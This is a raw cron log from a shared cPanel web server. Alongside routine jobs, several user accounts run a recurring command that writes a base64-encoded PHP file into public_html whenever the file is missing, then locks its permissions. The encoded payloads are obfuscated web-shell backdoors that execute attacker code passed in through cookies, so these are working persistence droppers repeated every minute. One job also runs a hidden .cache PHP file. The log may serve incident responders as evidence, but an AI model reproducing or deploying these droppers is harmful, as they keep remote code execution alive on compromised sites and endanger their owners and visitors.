Mar  1 16:21:01 medusa CROND[27032]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:21:01 medusa CROND[27035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:21:01 medusa CROND[27036]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:21:01 medusa CROND[27040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:21:01 medusa CROND[27041]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:21:01 medusa CROND[27043]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:21:01 medusa CROND[27046]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:21:01 medusa CROND[27049]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:21:01 medusa CROND[27051]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:21:01 medusa CROND[27053]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:21:01 medusa CROND[27050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:21:01 medusa CROND[27052]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:22:01 medusa CROND[17222]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:22:01 medusa CROND[17223]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:22:01 medusa CROND[17224]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:22:01 medusa CROND[17225]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:22:01 medusa CROND[17226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:22:01 medusa CROND[17227]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:22:01 medusa CROND[17229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:22:01 medusa CROND[17231]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:22:01 medusa CROND[17236]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:22:01 medusa CROND[17238]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:22:01 medusa CROND[17239]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:22:01 medusa CROND[17248]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:22:01 medusa CROND[17250]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:22:01 medusa CROND[17252]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:23:02 medusa CROND[7770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:23:02 medusa CROND[7811]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:23:02 medusa CROND[7812]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:23:02 medusa CROND[7814]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:23:02 medusa CROND[7816]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
